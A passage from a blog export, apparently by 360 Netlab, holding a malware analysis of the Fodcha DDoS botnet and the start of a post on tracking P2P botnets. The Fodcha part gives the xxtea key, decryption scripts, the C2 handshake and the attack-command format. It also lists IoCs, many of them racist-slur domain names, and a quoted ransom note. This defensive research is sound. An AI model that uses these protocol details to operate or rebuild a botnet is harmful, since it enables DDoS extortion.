`60,000` bots; After that, we observed that the IPs corresponding to its C2 domains continued to increase. Using a simple dig command to query the latest C2 domain name `yellowchinks.dyn`, we can see it resolves to `44 IPs`.\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_c2infras.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_c2infras.png\" class=\"kg-image\"/></a>\n\nOne likely reason for this is that their botnet is so large that they need to invest more IP resources in order to have a reasonable ratio between Bots and C2s to achieve load balancing.\n\n# DDoS Statistics\n\nMore C2 IPs cost more money, and it seems that the business is good as it has been very active launching ddos attacks.We have excerpted the data from June 29, 2022 to the present, and the attack trends and target area distribution are as follows.\n\n<a href=\"__GHOST_URL__/content/images/2022/10/image--1-.png\"><img src=\"__GHOST_URL__/content/images/2022/10/image.min-1.png\" class=\"kg-image\"/></a>\n\nWe can see that the ddos attacks has been non-stop, and China and US have the most targets. \n\nThe time distribution of the attack instructions within 7 days is shown below, which shows that Fodcha launched DDoS attacks throughout 7 * 24 hours, without any obvious working time zone.\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_instimezone.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_instimezone.png\" class=\"kg-image\"/></a>\n\n\n# Sample Analysis\n\nWe have divided the captured samples into four major versions, of which V1and `V2` have been analyzed in the previous blog, here we select the latest `V4` series samples as the main object of analysis, their basic information is shown below.\n\n```\nMD5: ea7945724837f019507fd613ba3e1da9\nELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped\nLIB: uclibc\nPACKER: None\nversion: V4\n\nMD5: 899047ddf6f62f07150837aef0c1ebfb\nELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped\nLib: uclibc\nPacker: None\nVersion: V4.X\n```\n\nWhen Fodcha's Bot executes, it will first check ``the operating parameters``, ``network connectivity``, ``whether the \"LD_PRELOAD\" environment variable is set``, and ``whether it is debugged``. These checks can be seen as a simple countermeasure to the typical emulator & sandbox.\n\nWhen the requirements are met, it first decrypts the configuration information and print “snow slide” on the Console, then there are some common host behaviors, such as single instance, process name masquerading, manipulating watchdog, terminating specific port processes, reporting specific process information, etc. The following will focus on the decryption of configuration information, network communication, DDoS attacks and other aspects of Fodcha.\n\n\n\n## Decrypting configuration information (Config)\n\nFodcha uses a side-by-side Config organization in `V2.X` and `V3`, and a structured Config organization in `V4` and `V4.X`. The following figure clearly shows the difference.\n\n\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_disconfig.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_disconfig.png\" class=\"kg-image\"/></a>\n\n\n\nAlthough the organization of Config is different, their encryption methods are the same. As we can see by the constants referenced in the code snippet below, they use the xxtea algorithm with the key `PJbiNbbeasddDfsc`.\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_xxtea.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_xxtea.png\" class=\"kg-image\"/></a>\n\nAfter inversion, we wrote the following `IDAPYTHON` script to decrypt the configuration information.\n\n```\n# md5: ea7945724837f019507fd613ba3e1da9\n# requirement: pip install xxtea-py\n# test: ida7.6_python3\n\nimport ida_bytes\nimport xxtea\n\nBufBase=0x1F2B0\nConfBase=0x0001F1A0\nkey=b\"PJbiNbbeasddDfsc\"\nfor i in range(17):\n offset=ida_bytes.get_word(i*16+ConfBase+2)\n leng=ida_bytes.get_word(i*16+ConfBase+4)-offset\n buf=ida_bytes.get_bytes(BufBase+offset,leng)\n print(\"index:%d, %s\" %(i,xxtea.decrypt(buf,key)))\n```\n\nThe decrypted Config information is shown in the following table. You can see that index 11 still retains the aforementioned \"surrender\" egg, index 12 is worth mentioning, as it is the reporter server address to which Fodcha reports some process-specific information.\n\n| Index | Value |\n| ----- | ------------------------------------------------------------ |\n| 0 | snow slide |\n| 1 | /proc/ |\n| 2 | /stat |\n| 3 | /proc/self/exe |\n| 4 | /cmdline |\n| 5 | /maps |\n| 6 | /exe |\n| 7 | /lib |\n| 8 | /usr/lib |\n| 9 | .ri |\n| 10 | GET /geoip/?res=10&r HTTP/1.1\\r\\nHost: 1.1.1.1\\r\\nConnection: Close\\r\\n\\r\\n |\n| 11 | Netlab pls leave me alone I surrender |\n| 12 | kvsolutions.ru |\n| 13 | api.opennicproject.org |\n| 14 | watchdog |\n| 15 | /dev/ |\n| 16 | TSource Engine Query |\n\n\n\n## Network communication\n\nFodcha's network communication has a very fixed feature at the code level: a perpetual While loop, with switch-case processing at each stage, so that the CFG graphs generated by each version of Fodcha's network protocol processing functions are highly similar in IDA.\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_cfg.png\" width=\"860px\" /> \n\nIn summary, Fodcha's network communication goes through the following four steps.\n\n1. Decryption C2\n2. DNS query\n3. Establishing communication\n4. Execute the command\n\n\n\n### 0x1: Decrypting C2\n\nDifferent versions of Fodcha support different types of C2. V2.X has only 1 group of OpenNIC C2; V3 & V4 have 1 group of OpenNIC C2 and 1 group of ICANN C2; and V4.X has the most, 1 group of OpenNIC C2 and 2 groups of ICANN C2, the following diagram shows the difference very clearly.\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_c2_dis.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_c2_dis.png\" class=\"kg-image\"/></a>\n\nAlthough the types & numbers of C2 are different, their processing logic is almost the same as shown in the figure below.\n\nFirstly, a C2 domain name is obtained through the C2_GET function, and then the corresponding IP of C2 is obtained through the DNS_QUERY function, where the first parameter of C2_GET is the C2 ciphertext data, and the second parameter is the length, while the second parameter of DNS_QUERY implies the type of C2.\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/FODCHA_c2compose.png\" width=\"860px\" /> \n\nA valid C2 domain name can be obtained through C2_GET, and its internal implementation can be divided into 2 steps.\n* First, the C2 ciphertext data must be decrypted.\n* Then they are constructed into a legitimate domain name.\n\n### Decrypting C2 ciphertext data\n\nThe C2 ciphertext data uses the same encryption method as the configuration information, i.e. xxtea, and the key is also \n\n`PJbiNbbeasddDfsc`. The OpenNic C2 data can be decrypted by the following simple IDAPYTHON script.\n\n```\n#md5: 899047DDF6F62F07150837AEF0C1EBFB\nimport xxtea\nimport ida_bytes\nimport hexdump\nkey=b\"PJbiNbbeasddDfsc\"\nbuf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2\nplaintext=xxtea.decrypt(buf,key)\nprint(plaintext)\n```\n\nThe decrypted C2 data is shown below, you can see that the C2 data consists of 2 parts, the front is the domain names, the back is the TLDs, they are separated by the \"**/**\" symbol in the red box.\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_c2plaintext.png\" width=\"860px\" /> \n\n### Constructing a domain name\n\nFodcha has a specific domain name construction method, and the equivalent Python implementation is shown below.\n\n```\n# md5: 899047ddf6f62f07150837aef0c1ebfb\n# requirement: pip install xxtea-py\n# test: ida7.6_python3\n\nimport xxtea\nimport ida_bytes\n\ndef getcnt(length):\n cnt=1\n while True:\n cnt +=1\n calc=2\n \n for i in range(1,cnt):\n calc+=2+12*i%cnt\n \n if calc +cnt==length-1:\n return cnt\n\n \nkey=b\"PJbiNbbeasddDfsc\"\nbuf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2\nplaintext=xxtea.decrypt(buf,key)\n\ndomains,tlds=plaintext.split(b'/')\ndomainList=domains.split(b',')\ntldList=tlds.split(b',')\n\ncnt=getcnt(len(domainList))\n\nprint(\"------------There're %d C2------------\" %cnt)\ncoff=2\nfor i in range(0,cnt):\n if i ==0:\n c2Prefix=domainList[i+coff]\n else:\n coff+=12*i %cnt+2\n c2Prefix=domainList[i+coff]\n c2Tld=tldList[(cnt-i-1)*3]\n print(c2Prefix + b'.' + c2Tld)\n\n```\n\nTaking the C2 data obtained above as input, the following 14 OpenNIC C2s are finally constructed.\n\n```\ntechsupporthelpars.oss\nyellowchinks.geek\nyellowchinks.dyn\nwearelegal.geek\nfunnyyellowpeople.libre\nchinksdogeaters.dyn\nblackpeeps.dyn\npepperfan.geek\nchinkchink.libre\npeepeepoo.libre\nrespectkkk.geek\nbladderfull.indy\ntsengtsing.libre\nobamalover.pirate\n```\n\nReaders familiar with the ICANN domain name system may think at first glance that our decryption is wrong, because the ICANN domain name system does not support these TLDs, they would be \"unresolvable\", but in fact they are the domain names under the OpenNIC system, OpenNIC is independent of the OpenNIC, which supports the TLDs shown in the figure below. The domain names of OpenNIC cannot be resolved by common DNS (such as `8.8.8.8`, `101.198.198.198`) and must use the specified NameServer. Readers can check out [OpenNIC’s official website](https://www.opennic.org/) for more details.\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_opennic.png\" width=\"860px\" /> \n\nUsing the same method, we can get the following 4 ICANN C2s.\n\n```\ncookiemonsterboob[.]com\nforwardchinks[.]com\ndoodleching[.]com\nmilfsfors3x[.]com\n```\n\n### 0X2: DNS lookup\n\nWhen the C2 domain name is successfully obtained, Bot performs the domain name resolution through the function `DNS_QUERY`, its 2nd parameter is a FLAG, which implies the different processing of OpenNIC/ICANN C2, and the corresponding code snippet is shown below.\n\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_disdns.png\" width=\"860px\" /> \n\nIt can be seen that there are 2 options for the resolution of OpenNIC C2.\n\n* Option 1: Request from `api.opennicproject.org` through API interface to get nameserver dynamically\n\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_resolvns.png\" width=\"860px\" /> \n\n\n* Option 2: Use the hard-coded nameserver shown in the figure below\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_opennicHard.png\" width=\"860px\" /> \n\n\nFor ICANN C2, there is only one option, i.e., use the hard-coded nameserver shown in the figure below.\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_iccanHard.png\" width=\"860px\" /> \n\n\n\nThe actual resolution of C2 `techsupporthelpars.oss`, for example, is reflected in the network traffic as follows.\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_opendnsexample.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_opendnsexample.png\" class=\"kg-image\"/></a>\n\n### Why use OpenNIC / ICANN dual C2?\n\nFodcha's author has built a redundant OpenNIC / ICANN dual-C2 architecture, why did he do so?\n\nFrom a C2 infrastructure perspective, after Fodcha was exposed, its C2 was added to various security lists. `Quad9DNS (9.9.9.9)`, for example, had sent a tweet about Fodcha domain traffic spike\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_quad.png\" width=\"860px\" /> \n\nAfter Fodcha was cracked down, its author, when reselecting the C2 infrastructure, looked at the `DNS Neutrality` feature touted by OpenNIC to eliminate the possibility of C2 being regulated & taken over.\n\nAt the same time, OpenNIC based C2 has it own problems, such as the NameServer of OpenNIC may not be accessible in some regions, or there are efficiency or stability problems in domain name resolution. For the sake of robustness, Fodcha authors re-added ICANN C2 as the backup C2 after V3 to form a redundant structure with the main C2.\n\n\n### 0x3: Establishing communication\n\nFodcha Bot establishes a connection to C2 through the following code snippet, which has a total of 22 ports.\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_establishConn.png\" width=\"860px\" /> \n\n\n\nOnce the connection with C2 is successfully established, the Bot and C2 must go through 3 phases of interaction before communication is actually established.\n\n* Stage 1: Bot requests the key&nonce of the chacha20 encryption algorithm from C2.\n\n* Stage 2: Bot and C2 use the key&nonce from stage 1 for identity confirmation.\n\n* Stage 3: Bot sends the encrypted upline & group information to C2.\n\n\nTo aid in the analysis, we ran the Bot sample within a restricted environment and used `fsdsaD` as the packet string to generate the network traffic shown in the figure below, and the details of how this traffic was generated are described below.\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_prapacket.png\" width=\"860px\" /> \n\n#### Stage 1: Bot ---> C2 ,formatted as head(7 bytes) + body( random 20-40 bytes)\n\nBot actively sends an initialization message with `netstage=6` to C2, this message has the format of head+body, and the meaning of each field is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageOneb2c.png\" width=\"860px\" /> \n\n#### head\n\nThe length of head is 7 bytes, and the format is shown below.\n\n```\n06 \t\t---->netstage,1byte,06 means init\nf0 70 ---->tcpip checksum, 2byte, \n00 16\t\t---->length of body, 2 bytes\n```\n\n#### checksum\n\nchecksum\nThe checksum in head uses the tcp/ip checksum, which is calculated for the whole payload, and the original value of the checksum offset is `\\x00\\x00`, and the python implementation of the checksum is as follows.\n\n```python\ndef checksum(data):\n s = 0\n n = len(data) % 2\n for i in range(0, len(data)-n, 2):\n s+= ord(data[i]) + (ord(data[i+1]) << 8)\n if n:\n s+= ord(data[-1])\n while (s >> 16):\n s = (s & 0xFFFF) + (s >> 16)\n s = ~s & 0xffff\n return s\n\nbuf=\"\\x06\\x00\\x00\\x00\\x00\\x00\\x16\\x36\\x93\\x93\\xb7\\x27\\x5c\\x9a\\x2a\\x16\\x09\\xd8\\x13\\x32\\x01\\xd2\\x69\\x1d\\x25\\xf3\\x42\\x00\\x32\"\nprint(hex(checksum(buf)))\n\n#hex(checksum(buf))\n#0x70f0\n```\n\n#### body\n\nbody is a randomly generated content, meaningless.\n\n```\n00000000 36 93 93 b7 27 5c 9a 2a 16 09 d8 13 32 01 d2 69\n00000010 1d 25 f3 42 00 32\n```\n\n\n\n\n\n#### Stage 1: C2-->Bot, 2 rounds\n\nWhen C2 receives the message `netstage=6` from Bot, it will send 2 rounds of data to BOT.\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageOne.png\" width=\"860px\" /> \n\n* The first round, 36 bytes , the original message is encrypted by xxtea and decrypted as the key of chacha20, with the length of 32bytes\n\n ```python\n import hexdump\n import xxtea\n key=b\"PJbiNbbeasddDfsc\"\n keyBuf=bytes.fromhex(\"806d8806cd5460d8996339fbf7bac34ba1e20f792872ba0e05d096ad92a5535e60e55b8d\")\n chaKey=xxtea.decrypt(keyBuf,key)\n hexdump.hexdump(chaKey)\n \n #chaKey\n 00000000: E6 7B 1A E3 A4 4B 13 7F 14 15 5E 99 31 F2 5E 3A\n 00000010: D7 7B AB 0A 4D 5F 00 EF 0C 01 9F 86 94 A4 9D 4B\n \n ```\n\n \n\n* Second round, 16 bytes , the original message is encrypted by xxtea, decrypted as the nonce of chacha20, length 12bytes\n\n ```python\n import hexdump\n import xxtea\n key=b\"PJbiNbbeasddDfsc\"\n nonBuf=bytes.fromhex(\"22c803bb310c5b2512e76a472418f9ee\")\n chaNonce=xxtea.decrypt(nonBuf,key)\n hexdump.hexdump(chaNonce)\n \n #chaNonce\n 00000000: 98 79 59 57 A8 BA 7E 13 59 9F 59 6F\n ```\n\n \n\n#### Stage 2: Bot--->C2, chacha20 encryption\n\nOnce Bot receives the key and nonce of chacha20, it sends the message `netstage=4` to C2, this time the message is encrypted using chacha20, the key&nonce is obtained from the previous stage, the number of rounds encrypted is 1.\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageTwob2c.png\" width=\"860px\" /> \n\n\nWe can decrypt the above traffic using the following python code that\n\n```\nfrom Crypto.Cipher import ChaCha20\ncha=ChaCha20.new(key=chaKey,nonce=chaNonce)\ncha.seek(64)\ntmp=bytes.fromhex('dc23c56943431018b61262481ce5a219da9480930f08714e017edc56bf903d32ac5daeb8314f1bf7e6')\nrnd3=cha.decrypt(tmp)\n```\n\nThe decrypted traffic is shown below, it still has the format of head (7 bytes) + body as described before, where the value of the netstage field of head is 04, which represents the authentication.\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netplainb2c.png\" width=\"860px\" /> \n\n\n#### Stage 2: C2 ---> Bot, chacha20 encryption\n\nAfter receiving the authentication message from Bot, C2 also sends a message with `netstage=4` to Bot's data, also using chacha20 encryption, and the key,nonce,round number is the same as that used by Bot.\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageTwoc2b.png\" width=\"860px\" /> \n\n\nUsing the same code as Bot to decrypt the traffic, we can see that its format is also head+body, and the value of netstage is also 04.\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netplainc2b.png\" width=\"860px\" /> \n\n\nAfter Bot and C2 send each other the message `netstage=4`, the chacha20 key&nonce representing stage 1 is recognized by both parties, and the authentication of each other is completed, and Bot enters the next stage to prepare to go online.\n\n#### Stage 3: Bot--->C2, 2 rounds, chacha encryption\n\nBot sends netstage=5 message to C2 to indicate that it is ready to go online, and then reports its own grouping information to C2, these 2 rounds of messages also use chacha20 encryption.\n\n\n* First round\n <img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageThrReg.png\" width=\"860px\" /> \n \n\n* Second round\n\n <img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netStageThrGroup.png\" width=\"860px\" /> \n \n\n\n\nAfter the above two rounds of data decryption, we can see that the content of the group is exactly the preset `fsdsaD`, which means our analysis is correct, so the Bot is successfully online and starts to wait for the execution of the command sent by C2.\n\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_netplainb2cReg.png\" width=\"860px\" /> \n\n\n### 0x4: Execute command\n\nBot successfully online, support the netstage number, as shown in the figure below, the most important is the `netstage = 1` on behalf of the DDoS task, Fodcha reuse a large number of Mirai attack code, a total of `17` kinds of attack methods are supported.\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_afterreg.png\" width=\"860px\" /> \n\nTake the following `DDos_Task` traffic `(netstage=01)` as an example.\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_taskddos.png\" width=\"860px\" /> \n\nThe attack instructions are still encrypted using `chacha20`, and the decrypted instructions are shown below, which might ring a bell for readers who are familiar with `Mirai`.\n\n```\n00000000: 00 00 00 3C 07 01 xx 14 93 01 20 02 00 00 02 01\n00000010: BB 01 00 02 00 01\n```\n\nThe format and parsing of the above attack instructions are shown in the following table.\n\n\n| offset | len (bytes) | value | meaning |\n| ------ | ----------- | -------------- | -------------------------------------------------------- |\n| 0x00 | 4 | 00 00 00 3c | Duration |\n| 0x04 | 1 | 07 | Attack Vector,07 |\n| 0x05 | 1 | 1 | Attack Target Cnt |\n| 0x06 | 4 | xx 14 93 01 | Attack Target,xx.20.147.1 |\n| 0x0a | 1 | 20 | Netmask |\n| 0x0b | 1 | 02 | Option Cnt |\n| 0x0c | 5 | 00 00 02 01 bb | OptionId 0,len 2, value 0x01bb ---> (port 443) |\n| 0x11 | 5 | 01 00 02 00 01 | OptionId 1, len 2, value 0x0001---> (payload len 1 byte) |\n\nWhen Bot receives the above instruction, it will use the tcp message with a payload of 1 byte to conduct a DDoS attack on the target `xx.20.147.1:443`, which corresponds to the actual packet capture traffic.\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_ddospacket.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_ddospacket.png\" class=\"kg-image\"/></a>\n\n# Misc\n\n### 0x01: Racism\n\nFrom some of the OpenNIC C2 constructs, it seems that the author of Fodcha is more hostile to people from some regions.\n\n```\nyellowchinks.geek\nwearelegal.geek\nfunnyyellowpeople.libre\nchinksdogeaters.dyn\nblackpeeps.dyn\nbladderfull.indy\n\nwehateyellow\n```\n\n### 0x02: Ransom DDoS\n\nFodcha had the following string attached to the UDP attack command it issued.\n\n```\nsend 10 xmr to 49UnJhpvRRxDXJHYczoUEiK3EKCQZorZWaV6HD7axKGQd5xpUQeNp7Xg9RATFpL4u8dzPfAnuMYqs2Kch1soaf5B5mdfJ1b or we will shutdown your business\n```\n\nThe corresponding attack traffic is shown below, the wallet address appears to be illegal, perhaps the operators behind Fodcha are experimenting with the attack-as-ransom business model, we will see how it evolve. \n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_ddosransom.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_ddosransom.png\" class=\"kg-image\"/></a>\n\n# Contact us\n\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab) or email us to netlab[at]360.cn.\n\n# IoC\n### C2\n\n```\nv1,v2:\nfolded[.]in\nfridgexperts[.]cc\n\nICANN C2:\nforwardchinks[.]com\ndoodleching[.]com\ncookiemonsterboob[.]com\nmilfsfors3x[.]com\n\nOpenNIC C2:\n\nyellowchinks.geek\nyellowchinks.dyn\nwearelegal.geek\ntsengtsing.libre\ntechsupporthelpars.oss\nrespectkkk.geek\npepperfan.geek\npeepeepoo.libre\nobamalover.pirate\nfunnyyellowpeople.libre\nchinksdogeaters.dyn\nchinkchink.libre\nbladderfull.indy\nblackpeeps.dyn\n91.206.93.243\n91.149.232.129\n91.149.232.128\n91.149.222.133\n91.149.222.132\n67.207.84.82\n54.37.243.73\n51.89.239.122\n51.89.238.199\n51.89.176.228\n51.89.171.33\n51.161.98.214\n46.17.47.212\n46.17.41.79\n45.88.221.143\n45.61.139.116\n45.41.240.145\n45.147.200.168\n45.140.169.122\n45.135.135.33\n3.70.127.241\n3.65.206.229\n3.122.255.225\n3.121.234.237\n3.0.58.143\n23.183.83.171\n207.154.206.0\n207.154.199.110\n195.211.96.142\n195.133.53.157\n195.133.53.148\n194.87.197.3\n194.53.108.94\n194.53.108.159\n194.195.117.167\n194.156.224.102\n194.147.87.242\n194.147.86.22\n193.233.253.93\n193.233.253.220\n193.203.12.157\n193.203.12.156\n193.203.12.155\n193.203.12.154\n193.203.12.151\n193.203.12.123\n193.124.24.42\n192.46.225.170\n185.45.192.96\n185.45.192.227\n185.45.192.212\n185.45.192.124\n185.45.192.103\n185.198.57.95\n185.198.57.105\n185.183.98.205\n185.183.96.7\n185.143.221.129\n185.143.220.75\n185.141.27.238\n185.141.27.234\n185.117.75.45\n185.117.75.34\n185.117.75.119\n185.117.73.52\n185.117.73.147\n185.117.73.115\n185.117.73.109\n18.185.188.32\n18.136.209.2\n178.62.204.81\n176.97.210.176\n172.105.59.204\n172.105.55.131\n172.104.108.53\n170.187.187.99\n167.114.124.77\n165.227.19.36\n159.65.158.148\n159.223.39.133\n157.230.15.82\n15.204.18.232\n15.204.18.203\n15.204.128.25\n149.56.42.246\n139.99.166.217\n139.99.153.49\n139.99.142.215\n139.162.69.4\n138.68.10.149\n137.74.65.164\n13.229.98.186\n107.181.160.173\n107.181.160.172\n```\n\n### Reporter\n```\nkvsolutions[.]ru\nicarlyfanss[.]com\n```\n### Samples\n```\nea7945724837f019507fd613ba3e1da9\n899047ddf6f62f07150837aef0c1ebfb\n0f781868d4b9203569357b2dbc46ef10\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 635f45a51e09750007285635 |
post | null | 2022-11-03T02:41:28.000Z | 63873b9a8b1c1e0007f53025 | p2p-botnets-review-status-continuous-monitoring | 0 | 2022-11-03T14:00:00.000Z | public | published | null | 2022-11-03T14:00:00.000Z | P2P Botnets: Review - Status - Continuous Monitoring | <!--kg-card-begin: markdown--><h1 id="origins">Origins</h1>
<p>P2P networks are more scalable and robust than traditional C/S structures, and these advantages were recognized by the botnet authors early on and used in their botnets. In terms of time, <a href="https://en.wikipedia.org/wiki/Storm_botnet">Storm</a>, which appeared in 2007, can be considered the progenitor of this area, when botnet threats were first known to the public. after Storm, there have been Karen, <a href="https://ijcttjournal.org/archives/ijctt-v12p112">ZeroAccess</a>, GameOver, Hijime, mozi and other kinds of P2P botnes, P2P botnets come and go, and some, for example, Mozi keep on going even though the author had been caught.</p>
<p>The early P2P botnets mainly targeted Windows machines, such as Storm, ZeroAccess and GameOver, which were infected with the Windows operating system. after Mirai appeared in 2016, Linux IoT devices, which exist in large numbers on the network and lack some basic security defense, started to become the target of many botnets. For example, Hijime, mozi, pink all target Linux devices.</p>
<p>Because of the "centerless" nature of P2P networks, it is somewhat difficult to assess their size using traditional means. To try to solve this problem, security researchers have invented P2P crawler technology, which can track a P2P botnet and obtain node IPs, download links and configuration information for scale assessment and targeted removal.</p>
<p>Our team(360 netlab) has been focusing on discovering and tracking active botnets for a long time, and P2P botnets are surely on our radar. For example, we first disclosed the mozi botnet in 2019. In order to gain better visibility, we built an industrial-level tracking system for P2P botnets, with the goal of covering major active P2P botnets, This blog article will briefly analyze the current status of the following 5 families based on the tracking data generated by this system.</p>
<p>(In addition to the 5 families mentioned in this article, readers are also welcomed to leave comments below about new|active families of interest, and we will look into them accordingly)</p>
<h1 id="overviewoftrackingstrategy">Overview of tracking Strategy</h1>
<p>This section will briefly introduce the main tracking strategies used in our tracking system.</p>
<h2 id="trackinggoals">Tracking Goals</h2>
<p>The main goal of the system is to record the IPs of all the p2p nodes, we “create” a node by simulating the communication protocol, so it can join the corresponding P2P network to participate in the data message exchange. Every time a message exchange is successfully completed, the IP of the other party is recorded, this goes on and on and finally the majority of the nodes from the target P2P network would be recorded.</p>
<h2 id="methods">Methods</h2>
<p>The protocol design of each P2P family varies, but following are some common strategies, normally at least one of these would be selected as the tracking method.</p>
<p><strong>Active Probe</strong>: This strategy is somewhat similar to a public network scanner in terms of working principle. It first feeds probe messages to the target node, then parses the received reply messages, and identifies the peer as a peer node when the returned message format matches the family characteristics. In practice, we will first delineate a probe range and then probe the nodes within this range (where the probe range may consist of a suspicious network segment or suspicious nodes generated from other policies).</p>
<p><strong>Recent communications</strong>:Common P2P families maintain a "recent communications list" of recent peers in each node's memory. In some families, this list is also available to other nodes via specific commands, and would commonly be used as a seed list when the node “boots up”, so that they can quickly join the P2P network. In this case, we can discover more peer nodes by traversing this "recent communication list".</p>
<p><strong>Node heartbeat</strong>: When a node maintains a "recent communication list", it will send heartbeat messages to the nodes on the list periodically to declare its online status. Based on this, we can add the "fake node" to the other node's active list to get the active status of the corresponding node at any time. In some cases, we also send heartbeat messages to ensure that we don’t get kicked out by the network.</p>
<p><strong>Wait and see</strong>: "Hajime" and "Mozi", for example, use "<a href="https://en.bitcoinwiki.org/wiki/Kademlia">Distributed Hash Table</a>" to implement their P2P network structure. This technique is designed to speed up data lookup by adding a rule of information-to-node distance and prioritizing the information to be stored on those nodes that are closer. Based on this rule, we can forge a “we-are-more-closer” node then wait for the arrival of other nodes. When other nodes try to obtain the information of the corresponding family from the forged node, we can directly record the other IP as the tracking result.</p>
<h1 id="howtoreadthedata">How to read the Data</h1>
<h2 id="trackingfamilyselectionbasis">Tracking family selection basis</h2>
<p>We consider the following two dimensions to screen the appropriate families for tracking to ensure the relative objectivity of the final results.</p>
<p><strong>Based on size</strong>: When selecting families, the most priority indicator is that the size of the botnet has to be large, or once historically large enough, in this case "Hajime"/"Mozi"/ “pink" all stand out.</p>
<p><strong>Recent Disclosures</strong>: The next choice is the newly emerged ones that have been active at lease for a little while, based on this, we have chosen "panchan" and "frizefrog" as they are newly discovered this year.</p>
<h2 id="sizeoftheinfectedbotnodes">Size of the infected bot nodes</h2>
<p>Depending on the type of the host device, the number of bot IPs does not necessarily reflect the true number of infected devices.</p>
<p><em>Bots are servers</em>: In order to provide stable services, the public IPs of servers usually do not change, so the numbers are more accurate.</p>
<p><em>Bots are IoT devices</em>: These devices are usually found in the residential network. We all know that the IP addresses of residents devices change frequently. This can lead to a large uncertainty in the mapping relationship between the public IP and the device. Multiple devices might share a common public IP (NAT scenario), and devices can switch to different IPs multiple times within a time window (dial-up Internet scenario).</p>
<h1 id="dailyactivityofeachfamily">Daily activity of each family</h1>
<p>As a comparison, if we take the daily activity of each Monday since August as a sample to plot the medium- and long-term tracking graph, the following is shown.</p>
<p><img src="__GHOST_URL__/content/images/2022/10/P2P_080910_HMP.png" alt="P2P_080910_HMP" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/P2P_080910_Fri_Panchan.png" alt="P2P_080910_Fri_Panchan" loading="lazy"></p>
<p>We can clearly see the order of the family size:</p>
<p>Pink > Hajime > Mozi >> FritzFrog <> Panchan</p>
<p>We can see that the daily activity data of each family has not changed much over the three months period (see the discussion below for Pink's fluctuations in August)</p>
<h1 id="statisticsbyfamily">Statistics by family</h1>
<h2 id="pink">Pink</h2>
<p>At one point, the Pink family had infected more than one million devices in China, it has some cleverly designed command and control protocols. For time sensitive instructions, the control commands are pushed to the bots through a centralized mechanism, On the other hand, if the instructions are not urgent, P2P would be used. For more information, please refer to our previous report.</p>
<p>《<a href="__GHOST_URL__/pink-en/">Pink, a botnet that competed with the vendor to control the massive infected devices</a>》</p>
<p><strong>Geographical distribution</strong></p>
<p><img src="__GHOST_URL__/content/images/2022/08/pink_world_map.png" alt="pink_world_map" loading="lazy"></p>
<p>As shown in the figure, Pink's scope of influence is mainly domestic IoT devices, and the following is its distribution in China.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/pink_china_map.png" alt="pink_china_map" loading="lazy"></p>
<p><strong>Daily activity fluctuation</strong></p>
<p>It is worth mentioning in particular that the daily activity data of the family has fluctuated greatly since July, first dropping by an order of magnitude in a week starting on July 12, reaching a daily activity of about 20,000, then returning to zero for about 10 days after August 20, and then returning to 20,000 in September. The fluctuation of daily activity can be seen in the following chart.</p>
<p><img src="__GHOST_URL__/content/images/2022/09/pink_tracker-1.png" alt="pink_tracker-1" loading="lazy"></p>
<p>Now let’s take a look at daily activity data of July 12, July 26 and September 1. It is easy to tell that the number of daily activities in most provinces decreased significantly with time goes by.</p>
<p><img src="__GHOST_URL__/content/images/2022/09/pink_0712_china_map.png" alt="pink_0712_china_map" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/09/pink_2022_07_26.png" alt="pink_2022_07_26" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/09/pink_2022_09_01.png" alt="pink_2022_09_01" loading="lazy"></p>
<p>So, it is very likely that starting from July, the major device vendor carried out a national wide clean up effort, resulting in a significant decrease in the number of infected devices.</p>
<p>The fluctuations in late August, on the other hand, are likely due to a national wide C2 blocking action in place.</p>
<h2 id="hajime">Hajime</h2>
